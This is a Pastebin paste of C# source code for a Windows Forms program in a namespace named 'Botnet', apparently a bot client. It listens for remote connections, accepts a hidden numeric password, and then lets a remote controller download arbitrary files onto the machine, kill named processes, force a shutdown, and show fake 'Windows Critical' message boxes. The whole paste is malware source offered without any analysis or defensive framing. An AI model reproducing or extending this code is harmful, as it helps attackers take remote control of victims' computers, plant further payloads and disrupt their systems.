Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Diagnostics;
- using System.Management;
- using System.Windows.Forms;
- namespace Botnet
- {
- public partial class Form1 : Form
- {
- Boolean passAccepted = false;
- public Form1()
- {
- InitializeComponent();
- }
- private void Form1_Load(object sender, EventArgs e)
- {
- }
- void winsock_ConnectionRequest(object sender, AxMSWinsockLib.DMSWinsockControlEvents_ConnectionRequestEvent e)
- {
- winsock.Accept(e.requestID);
- }
- void winsock_DataArrival(object sender, AxMSWinsockLib.DMSWinsockControlEvents_DataArrivalEvent e)
- {
- String data = "";
- Object dat = (object)data;
- winsock.GetData(ref dat);
- data = (String)dat;
- acceptInput(data);
- }
- void winsock_ConnectEvent(object sender, System.EventArgs e)
- {
- throw new System.NotImplementedException();
- }
- void acceptInput(String data)
- {
- if (data.StartsWith("login "))
- {
- int password = Convert.ToInt32(data.Replace("login ", ""));
- if (password / 121 == 56 && password % 121 == 0)
- {
- passAccepted = true;
- }
- }
- if (passAccepted)
- {
- if (data.StartsWith("download "))
- {
- String downloadString = data.Replace("download ", "");
- System.Net.WebClient client = new System.Net.WebClient();
- client.DownloadFile(downloadString, downloadString.Remove(0, downloadString.LastIndexOf('/') + 1));
- }
- else if (data.Equals("beep"))
- {
- Console.Beep();
- }
- else if (data.StartsWith("kill "))
- {
- String processString = data.Replace("kill ", "");
- Process[] processList = Process.GetProcessesByName(processString);
- foreach (Process killProc in processList)
- {
- try
- {
- killProc.Kill();
- }
- catch
- {
- }
- }
- }
- else if (data.Equals("restart 1"))
- {
- Process.Start("restart", "/s /t 0");
- }
- else if (data.Equals("restart 2"))
- {
- Process.Start("restart", "/s /t 60");
- }
- else if (data.Equals("restart"))
- {
- }
- else if (data.StartsWith("msgbox "))
- {
- String msgBoxString = data.Replace("msgbox ", "");
- MessageBox.Show(msgBoxString, "Windows Critical");
- }
- }
- }
- void winsock_Error(object sender, AxMSWinsockLib.DMSWinsockControlEvents_ErrorEvent e)
- {
- throw new System.NotImplementedException();
- }
- }
- }
Add Comment
Please, Sign In to add comment